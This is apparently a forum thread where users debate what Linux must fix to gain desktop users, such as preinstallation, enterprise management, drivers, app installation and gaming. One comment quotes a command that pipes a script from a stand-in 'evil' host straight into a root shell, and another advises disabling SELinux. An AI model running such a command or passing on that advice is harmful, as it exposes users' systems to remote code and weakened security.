What problems does Linux have to overcome to get more users
What problems does Linux have to overcome to get more users
Games on Linux are great now this is why I fully moved to Linux. Is the the work place Pc's market improving.
96 comments
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Almost nobody "chooses" an OS. What needs to happen for wide-spread adoption is for first time computer users to be presented with something running Linux.
Microsoft understood this, that's why Windows has been the default in classrooms since the 80s.
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Windows was never the default in classrooms in the 80's, that was Apple. First with the Apple II.
Windows didn't even exist until 1985 and wasn't widely adopted until 3.0/3.1 in the 90s.
Windows 386 in the late 80s was widely considered to be a joke:
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Thanks for that comment! And it's always the same: the people with a historical perspective that doesn't match the popular opinion get downvoted for spreading knowledge.
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Pretty sure that CBM, especially the Commodore Pet, was the default in classrooms in the 80s not Apple.
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Windows...in the late 80s was widely considered to be a joke
Nothing has changed.
Monopoly was & is the same joke.
Every fucking shopping concrete labels anything pop over it for the same delusional humor about thinking that not-paper is real any less than the any Mani Mani.
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Greatness must be thrust upon them.
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No good enterprise management. Doesn't run enterprise software.
Most people don't really care what they use, they just want to be able to use it. If it doesn't run their programs, it's no good to them.
Companies don't use it on the desktop because enterprise management sucks. There's no equivalent to group policy. Ansible is not the same.
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Yeah, this is pretty much it.
Microsoft took over the computing world because they built a really good enterprise management toolset. Say what you will about their shitty business practices both in history and today, both AD and GPO are fucking incredible pieces of software. Microsoft Office and Exchange email are also pretty much the only game in town unless you want to jump to Google which is objectively worse.
Those tools meant that workplaces adopted Windows instead of Mac and Linux and slowly transitioned their Unix servers to Windows. Then people started getting PCs at home, and they didn't want to learn a whole new OS. Guess what, Windows is also available for home use and does all the same things that your office PC does.
Now that Microsoft has the vast majority of the install base on PCs, it's not economically viable to develop or troubleshoot software for the other platforms, as you're putting in a ton of extra time for about 5% of users.
Until Linux can promise ~90% compatibility with all software and they can put out some kind of real competition to AD and GPO, people are going to take the path of least resistance and just get Windows.
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both AD and GPO are fucking incredible pieces of software.
AD is really the only way to manage an organization with thousands of endpoints and users.
I have some hope that someone in the EU will develop a competing product now that they're pushing to get away from Microsoft, but it doesn't exist yet.
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the issue with this take is that they have been transitioning their enterprise services to web services. i and others on my team effectually use Microsoft enterprise tooling on Mac and Linux machines. i don’t think AD has anything to do with desktop Linux adoption?
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OEM integration. i feel like there is a lot to like about Linux that most people who can will. but i think the thing that’s grown Linux a lot (other than geopolitical shifts) in recent time is SteamOS. not just because of Proton, but they’re literally selling a computer as an OEM with a 1st class linux OS. imagine if Dell and HP and Razer started doing the same
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I bought several Dell XPS with Ubuntu preinstalled. I also bought a Tuxedo laptop preinstalled with Linux (sadly the hardware was shit).
There already are companies selling Linux preinstalled, but only the expensive ones.
I think if the Chromebook like computers would come with a normal Linux distro that might make a difference.
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i have a Linux Dell at home as well (from work), but it’s just a thin Ubuntu clone with some Dell bloatware. they really could go wild with it with just a few resources. Chromebook is also a good example of what i’m talking about.
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100% agree. The OEM's that do have a linux option don't really push it much being almost a hidden option many times. I went mac back in the aughts partially because of applecare. Would love to see like microcenter to have something like a supported inux distro and sell machines with care packages that cover everything.
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Installing an OS will always be a hurdle. Most people don't want to spend that much time thinking about how their computer works, they just want to turn it on and have it work. For more people to use Linux, it will have to be preinstalled.
After that, it needs to be stable. If the audio stops working, most people don't think "maybe I need to roll back my driver" or "maybe ALSA has muted my output channel for some reason", they just think "my computer is broken". These kind of problems have to go away, or at least be reduced to <1% of users.
Also, very few people are going to have any patience for any kind of difficulty related to "oh you have to add a different repository to your package manager to play common media formats" or w/e (e.g. AUR or Ubuntu Multiverse &etc). Normal people spend exactly 0 time considering what codecs they might need to install to listen to some music, or where they might need to get those codecs from, or whether those codecs are open or proprietary or freeware or whatever.
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Consistency in the settings, especially in localization. For instance, in my Linux Mint start menu, I have “Settings”, “System administration”, and “System settings” (subtitled “Control center”). Now where do I look for a setting? Additionally, some or all setting from the “system settings” are available as standalone apps. Why?
In a similar vein, a run-of-the-mill distro is made up of lots of components, and it is not at all clear which is in charge of what. If I want to change hotkeys, who’s responsible for that? What do I need to google for? Drivers? Desktop environment? Some OS-specific settings app?
In general, there is always two or more of everything. Sound? pulse or pipewire. Which is installed? Which should be installed? Search the web and find literally every answer. UI widgets? Gnome, Cinnamon, KDE. Graphics? Nvidia, Noveau, PRIME, Optimus. The question “How do I make this work” always is a “well, it depends… actually… you’ll need to try, and if it doesn work, try something else.”
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Problems Linux itself has to overcome? Maybe two or three.
- Hopefully I'm mistaken but apparently accessibility has been going down the last few years.
- Settings that make sense to change should be exposed more adequately. No one should ever get a visual toggle to eg.: disable SELinux on their systray, but controls to adjust color profiles and screen "temperature" management should be more reachable and clear.
Problems that are mistakenly attributed to Linux but that are actually for manufacturers, sellers and provisioners to take responsibility for and overcome? A good lot.
- Sellers have to sell machines with Linux preinstalled. Getting a machine Linux-ready from factory is easy, but it's only the commerces who can actually place them on a, ta know, selling point.
- Sellers or manufacturers should actually advertise when their device works with Linux. If people have to guess whether their next buy even boots / plugs in, that's a hindrance to commerce.
- Hardware manufacturers are not providing adequate Linux support (FizzyOrange mentions the eternal issue of laptop battery management; Naiboftabr mentions stuff like "audio stops working").
- Developers have to get back to developing for Linux natively (rather than eg.: "develop for a trimmed down Windows version that runs on Steam").
- Developers of Linux itself need to provide a better "rescue mode" for when things inevitably go wrong. Something that boots up to a "guaranteed working state" that still has workable UI but with most or all customizations disabled.
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accessibility has been going down for the last few years
Quick counterpoint as this gets raised a lot and I consider it disinformation.
In the Xorg -> Wayland transition, accessibility was immature as were a number of other things. And the implementations between x11 and Wayland were different (and so difficult to compare feature by feature).
Because of this, Wayland detractors made accessibility a favourite bugaboo and, even now, it is possible to find examples of things that worked better on X11 than they do on Wayland.
And there is no denying that accessibility was worse on Wayland for a while. You can say that about other things as well.
What the detractors do not tell you is that, for the major desktop environments at least, accessibility on Wayland is now better overall than it ever was on X11. Like a lot of things, whereas the poor security in X11 allows you to do many things, the capabilities have to be explicitly built into Wayland resulting in a period with poor support followed by systems that work excellently (better than they do in X11). This is a Wayland truism overall but particularly true for accessibility.
Latency and security are improved in particular. Assistive tools in X11 are a massive security hole. And accessibility in Flatpak apps is now far better as the tech built to work with Wayland sandboxing helps with Flatpak samdboxing as well.
Finally, accessibility is a greater focus in Wayland and so still improving whereas it was always an afterthought in X11. So regardless of the current state, I would say things are looking up for accessibility.
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Developers need to get back to developing for Linux natively (not Steam)
No thank you.
Windows APIs are very stable. In many ways, they are better than Linux APIs for things like games. I will come back to this.
Games do not gain much performance by being native. The instructions to the GPU are the same on both platforms and this is where most of the performance stuff happens.
Linux adoption for gaming will be much faster if most titles work on Linux. A strategy of making Windows games work on Linux is going to result in a vastly larger catalog than will getting games studios to target Linux natively. Game studios do not want to create ports for small platforms.
What we need is to convince the game studios to ensure their Windows games work on Linux as well. We need to resolve the kernel level anti-cheat situation in particular. Perhaps we need these to be cross-platform.
The Steam strategy is a good one.
Now, back to Linux native…
There are many examples of Linux ports that now do not run or have problems on modern distros because of changes to the Linux userland since the games shipped. At the same time, Windows versions of these games work via Proton. Crazy but true. The Windows versions work better and keep working for longer (on Linux).
You could easily make the case that this is a problem with Linux as this instability is a major drawback of Linux for all commercial software (binary distributed is really the problem). It is not black and white though as this flux is what drives Linux forward. Over long periods of time, proprietary platforms have trouble keeping up. But this is a real problem for apps that ship as binaries.
On the non-game app side, the solution is Flatpak. Flatpak works by installing a parallel userland so that the Flatpak has access to the libraries and services that it expects.
So, one solution could be to use Flatpak for games on Linux as well. Or to create a gaming version of something that works like Flatpak does.
But guess what, we have that already. It is called Steam. Steam lets you install a parallel userland so that the game has the libraries and services it needs to run properly. It just so happens that the platform it provides is Windows. This works well for games.
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The main things that have kept mainline adoption from happening:
- Driver support for new hardware (this is mostly an OEM thing)
- Dead simple tools for regular use, like updates, and printers or devices (Gnome has simplified quite a bit in the past few updates)
- Opinionated UI or package selection. Lots of options overwhelm many users
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On #3: I totally wouldn’t mind defaults that could be overridden later, or better yet, a wizard that gives you a bunch of options and source material for making an elective decision for something else.
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The elitism mostly.
It's seen as complicated because linux users behave a certain way
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Tell me about it. The Linux crowd here on Lemmy is so god damn annoying, and that makes me not want to switch.
(For one, Linux needs to get a lot better support for gaming GPUs and HDR monitors before I'd consider ditching Windows for good. I can't live without RTX HDR and the Nvidia Control Panel, but Linux supports neither. There's no SDR-to-HDR upscaling support in the Linux version of Firefox, either.)
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It's kinda a catch-22 situation: the vendors themselves need to implement these things on Linux, but they don't because it's a relatively small slice of the market. However, users won't switch because these things aren't available
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HDR works on Linux:
https://wiki.archlinux.org/title/HDR_monitor_support
No, the NVIDIA Control Panel is not available but there are nvidia-settings and nvidia-smi
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Needs brainless application management.
Windows is basically: download the installer, run it, and boom you're good to go.
Linux distros typically have 2-3 different ways to install applications and multiple mechanisms for updating/maintaining, where most of the good ones are non graphical. It's confusing for even experienced users let alone someone who doesn't know what a "package" is.
Say I want to uninstall something, I need to know how it was installed (apt? Snap? Flatpak? Manual build from source?) in order to do so. On windows, they have a registration scheme where installers log to a common OS level application management on what to run to uninstall.
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Most users just open the app store on their distro and install things there. It's painless. Your complaint is the equivalent of somebody on android deciding not to use the google store and saying that they have too many places to install applications from.
I actually find it hilarious that you even think windows installers are good. They are friggin mess and leave behind a bunch of crap when uninstalled. There's a good reason windows needs stuff like reg-cleaners and debloaters and what have you. Let's not even get into how easy it is to get adware or malware on windows, because searching for "rar installer" gets you a bunch of paid malware sites on the top of the search results.
Wishing to go back to the "simplicity" of a windows installers is madness. Linux isn't perfect for packaging software, but let's not pretend windows is better.
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Linux distros typically have 2-3 different ways to install applications and multiple mechanisms for updating/maintaining,
Windows ways to install applications:
- hunt down an installer either exe or msi file, or a zip which you unextract somewhere which doesn't then create desktop icons and then scattered all aroundu
- Windows store, just like any other application store by MacOS or Linux only shit
- Winget, cli installer just like under Linux but actually decent
- chocolatey, aaaah just stop!
On windows, they have a registration scheme where installers log to a common OS level application management on what to run to uninstall.
Yup sounds absolute reasonable... Wtf?
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Right but in practice nobody really uses the Windows store, and winget, chocolatey etc. are only used by geeks. For normal users it's always
- Download .exe or .msi
- Double click it.
- Follow the instructions.
On Linux you have:
- apt, dnf, etc. - pretty reliable but only really work from the command line (I have yet to use a "friendly" store frontend that actually works well), and you almost always get an outdated version of the software.
- Snap or Flatpak - the idea is there, but again I have yet to actually use one of these successfully. They always have issues with GUI styling (e.g. icons not working), or permissions, or integration or something.
- Compiling from source - no Windows software requires this but it's not uncommon on Linux.
Also it's relatively common for Linux software not to bundle its dependencies. I work for a company that makes commercial Linux software and they bundle Python (yes it's bad), but that depends on libffi and they don't bundle that. So it only works on distros that happen to have the specific ABI version of libffi that it requires. And you have to install it yourself. This is obviously dumb but it's the sort of thing you have to deal with on Linux that is simply never an issue on Windows or Mac.
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On windows, they have a registration scheme where installers log to a common OS level application management on what to run to uninstall.
Yup sounds absolute reasonable… Wtf?
What’s wrong with that? When I was cleaning out Windows recently, I was happy that I didn’t have to hunt down uninstall scripts in every program directory I wanted to remove.
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Windows is basically: download the installer, run it, and boom you’re good to go.
Thank you for installing my virus.
But yeah, I'd basically say that's an antifeature that ahs been oversold.
And even then, it's not even the only one. Macniel already pointed out five ways, and I'm rather sure there's three or four more (I'm p sure Windows has its own equivalent in Powershell to
curl http://evilinstaller.org/run | sudo bash, for one).
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Baby duck Windows users.
Linux works fine if you don't expect a carbon copy of Windows that runs everything.
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Pre installed hardwares. It's not just about "being easy to use" or "working software X". 90% of the users are not going to install Linux themselves, because they have no idea that Windows is something that can be replaced like any other softwares.
Even then, they'd not just begrudgingly use Linux because it was preinstalled. They'd find tech support and complain about how everything's just completely changed and they want their normal PC back.
So no, Linux desktop will stay niche no matter how it gets, at least for a long time. Something as braindead simple as ChromeOS may help though.
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None, sadly. Most of the things that make Linux a bad OS are problems in Linux, but not problems of Linux so there's little that can be done.
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True secure and verified boot, robust MAC systems with easy control (similar to what MacOS uses).
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Fix long-standing issues that create headaches for new users. I'm not sure if it's Mint-specific, but:
Backing out of the OS installation should not make it crash to the point that I have to rename a file in the USB to fix it.
Downloading the new video codecs while installing the OS and ticking some box should also not make it crash.
And warning me beforehand that I need to disable secure boot should be a must.
Fix that and you just saved your users three attempts at installing and a couple of hours of troubleshooting just to get their feet in the door.
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Most of that feels like Mint specific. The secure boot thing is sometimes mentioned in the installation instructions....but not always.
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Basic functionality needs to be rock solid. Every time I tried and quit Linux it was because something basic was broken out of the box, like Wi-Fi or touchpad drivers.
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I hope that network drivers are the next thing to get overhauled now that there's finally a stable audio system.
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Even after fixing such issues, some bullshit crops up again.
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Exactly. That's the problem. Basic things need to be rock solid.
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Overcome the issue of anticheat/video games, I'd use Linux were it not for the fact that a lot of games I enjoy sometimes are not available.
Devotees have said to me that I should just abandon the games I like in favor of using Linux and they may as well be shouting into a hole in the ground.
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as someone that has spent the past week working through different distros to figure out what I want to move to here is my list. Note that this is all coming from someone that actively wants to switch and not someone that doesn't realize there's other options like some of the other comments are getting at. This does not obviate everyone else's comments that linux just needs to come preinstalled on stuff or that manufacturers and developers need to do more. Both of those are a given, but those are not something that distro maintainers or kernel devs can control.
- audio doesn't work properly on half the distros I installed (linux mint, zorin both had popping and crackling anytime I played audio)
- video doesn't work properly on many of the distros I tested (youtube being blurry is one example, zorin os couldn't run games at all really). I understand this is a driver issue. But on mac I've never once had to maintain any driver, stuff just either worked or didn't work. On Windows the most I've ever had to do was run an installer or uninstaller to re/un-install whenever something went wrong. Every distro has a different way of fixing drivers, and every help article is just "try this if that doesn't work try this" for 15 different options. Here's the thing, this isn't something for driver maintainers to fix. Bazzite and CachyOS both have no audio or video issues, so it's clearly working in some manner for the hardware I have, it's just that some distros have it working and some don't.
- choosing a distro is not as easy as loading up a usb with the live image and starting it up. lots of times things do not work properly in the live image, or they work differently. So testing out that way can give you errors, missing dialogs, etc. An example is CachyOS: in the live image (in CachyOS Hello) you do not get the "Install Gaming packages" option and as a result you might do what I did and try to install them a different way, resulting in broken Nvidia drivers or error messages that no sane person will ever take their time to figure out, they'll just switch back to windows or mac.
- to expand on that point, lots of times testing in a VM would be a good way to see a new OS and that hasn't worked for me a single time. Even more issues with that when I was testing Bazzite. Bazzite runs normally on its own partition, but in a VM it was terrible. Only way to figure this out is by installing on a partition and testing from there. That's another friction point. The reason this is a friction point is because the common suggestions from the Linux community is that you should "find a distro you like". No sane person is going to partition their drive into several 100gb sections like I did and test each one on an actual install rather than just testing on a live image. I know that because I have a bunch of non-computer friends and they want to switch to linux for the coming windows apocalypse and are just not going to because of the perceived difficulty. In my experience over the past week (and I tried this earlier this year as well) it's not a perceived difficulty. It's an actual difficulty.
- Testing multiple distros requires partitioning your drive up a bunch, which means dealing with bootloaders, which means dealing with grub vs limine vs rEFInd vs systemd etc. No sane person who has no computer experience is EVER going to understand these options. I don't understand them and I run 20+ websites, have several (linux) servers at home, and have dealt with computers for decades. One issue I came across was that the CachyOS installer doesn't make it clear that you have to choose your EFI boot partition so that it's not the windows one, at least if you've already installed other linux distros (like I had). So I spent several hours trying to understand why the install kept failing (and according to the CachyOS instructions if it fails you have to completely reboot the live image due to the installer not unmounting the disks properly, which was another 30 minutes of troubleshooting) and it turns out that it was trying to install the bootloader onto the windows bootloader rather than the already existing grub bootloader from mint and bazzite.
- testing multiple distros requires understanding SO MUCH about how linux works that it's just really not feasible for anyone. So it's not just about choosing the right distro, but you have to get the right distro on the first time which means that every distro needs to work out of the box immediately. Which just isn't the case.
- too many ways to install applications. Several other comments have covered this and then people respond saying that windows and mac have multiple ways to install things when really that isn't the case. On windows 99.99999% of installs are going to be .msi/.exe. No normal user is installing chocolatey or winget packages. On Mac there's two ways to install things and they're always covered by the website: App Store or download and open and the file structure will literally tell you how to install in a nicely packaged window. Usually this is just "drag to this folder". Sometimes it's 'double click this installer'. On CachyOS there's no fewer than 6 ways to install things that you will get suggestions for: 1. Octopi 2. CachyOS Package Installer 3.
pacman4.paru5.yay6. tar.gz download. On Bazzite the options are completely different because it's Fedora based. On Mint it was another set of options. Users are required to understand the underlying distro's installation methods in order to figure out how to install stuff properly. Not only are they required to understand that, but they've got to figure out which install method for any given piece of software. For example, installing Dropbox one way vs another can make it work completely differently, including worse. Installing Spotify pops up a KDE Wallet dialog that users are expected to know how to manage. - system dark/light mode switching. I still haven't figured this out. On mac it's built in. On windows I just double click installed Auto Dark Light Mode or whatever it was called. On arch apparently I need to install darkman and then set up some scripts and I have no desire to do that. Why isn't it a single button like Mac? or at least 4 dropdowns like Intellij/other jetbrains products, where you just choose your light mode and light mode editor theme and dark mode/dark mode editor theme. I know there's something in the works, I've seen people talking about how this is a desired functionality, but wasn't everyone complaining about how wikipedia didn't have system dark mode for like a decade? And linux is still behind that? User's have to manually write shell scripts to get dark mode to turn on at night?
I wrote this the other day and never finished it, but that's just the stuff I've found so far.
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being preinstalled on devices you buy. normal users just what to push some buttons and expect it to 'just work'
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Linux and Windows have grown by stunning leaps and bounds over the years. So great to have such solid operating systems, but...
Linux absolutely sucks if you're not a nerd. Sorry, I spit truth. I've tried a dozen distros as daily drivers over the last 15 years. Always had to fiddle and learn. Windows 10 & 11 work right out the box, every time.
I'm not totally ignorant! I've spun dozens of Linux servers, my VPN is on Debian server. If fact, just now realized it was still running my internet, and I haven't logged into it in a few years. Rock solid.
So the question would be more to the point if we asked, "What is blocking normal people from making the move?"
To counter my own point, I used to make "little old lady" laptops and PCs for people who were too broke to get a new machine or pay me to fix Windows. I'd take their crap laptop/box, add whatever RAM I had on hand, SSD a must, load Linux Lite. Show them how to access the internet and their email, DONE. Never once had a call back. It just fucking worked.
Here's the key! Listening you nerds? I never once told them they were running Linux, never explained the concept of an OS, nada, STFU with your evangelizing. I merely handed their machine back in a working state, with minimal instruction.
The Year of the Linux Desktop may never hit. Most people don't use desktops outside their job and Microsoft has a lock on compatibility and business use cases. Can you imagine any sort of Linux Active Directory? LOL, hell no, what a scattered ecosystem.
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- Reliable hardware support. Especially on laptops - as far as I know it's still basically impossible to get battery life as good in Linux as in Windows/Mac.
- Sane software distribution method that actually works reliably.
- All settings accessible via the GUI. The terminal is still the default for most things. For example google how to disable SELinux (something most users should probably do). You have to edit
/etc/selinux/configwhich is really quite complicated for "normal" users.
I think those are the main things. I think it would also help if KDE were the "default" desktop environment instead of Gnome. It's much better, with one caveat - they seem incapable of good visual design! Don't get me wrong, it's a lot better than when KDE 5 first came out, but there are still very obvious spacing issues, and Gnome never has those.
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If you ever need to disable SELinux, your software distribution is trash, or you bought some unsupported piece of hardware with crap Linux drivers. Or you are writing kernel drivers and it's your test machine.
What the user really needs is to launch an app in a secure sandbox with two mouse clicks, not an easier way to edit SELinux rules. Linux software distributions focus too much on technology, but don't provide the finished user-facing solution with this technology, that's the problem #4.
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You should NOT disable SELinux. Where in the hell did you get the idea it’s a good idea for people to do? Quite the opposite, people should have ways to interact with the MAC system easily.
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You should read this before jumping to "it's more security therefore it's better" conclusions:
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One YouTube or peertube channel that most Linux users would gladly recommend to newbies for onboarding, troubleshooting, and beyond.
I have reinstalled on a multitude of occasions on account of not being able to find the solution for whatever weird thing jibbers up my machine.
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First, and foremost, there shouldn’t be a weird thing jibbering up machines.
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Fine. Behaves in a manner that I don't like, and can't rectify on my own.
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machines are the ones full of weird jibber-susceptible things, the default state for everything is jibbered until dedicated people decide to spend their time unjibbering
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solving the misogyny problem in the developer spaces and the community in general
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Mobile non-Android Linux on more than developer devices and 5 year old tech would be the largest impact, especially if you could pull off half of what the Liberux Nexx was promising. An all in one convergent pro-privacy device with flagship hardware would be a game changer. Possibly more urgent now that Google is pushing Android to be more locked down.
Desktops are primarily used by hobbyists (mostly gaming), creators, and businesses. To get Linux more there you need OEM installs and more driver support, Adobe and other big holdouts finally porting their stuff, and alternatives to AD respectively.
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Librem 5
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Gaming
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A desktop that was not designed by a programmer with a side-interest in UI, but an actual qualified designer.
And before you reply and tell me I just need to try whatever flavor you like: it's a piece of shit, don't bother me.
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Peak corporate design
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96 comments
Laptops sold in store. Vendor that targets schools elementary to college along with software and support to manage a fleet of computers. Would be relevant for corporations too. They would market and support Linux hardware
User friendly way to deal with permissions on flatpaks. Needs to be like Android and iOS where when it's needed, you get a prompt box to affirm/deny or file/application picker to grant access to
Grow commercial support orgs for professional software support. Like orgs that support deployments of LibreOffice. Blender foundation is good. More of that for other open source pro/prosumer software. Sales and support staff separate from developers
I think you make a good point regarding support. This is, for businesses, the crucial issue. They want to buy reliance, support and certainty. This is what commerce, like Microsoft, offers; peace of mind for (big) bucks.
Organizations can't easily take measures to assure proper support for a lot of open source software. They'd have to hire and probably educate a lot of expertise, which all has to be managed too.
It's just a whole lot easier for decision makers to spent extra money to have a contractor solve any issues, or at be able to blame (sue) them.
I think LibreOffice should just be a PWA. I could easily be missing something, since I'm not an office suite power user, but AFAICT, everyone would be better off using an OSS version of Google Docs. Web apps are the most accessible option, they fit the collaborative use case well, etc.
LO already has enough issues wth enabling the Java stuff in the menus, the last thing we need is for it to become a laravel react svelte kitten gemini poob framework-of-the-week POS.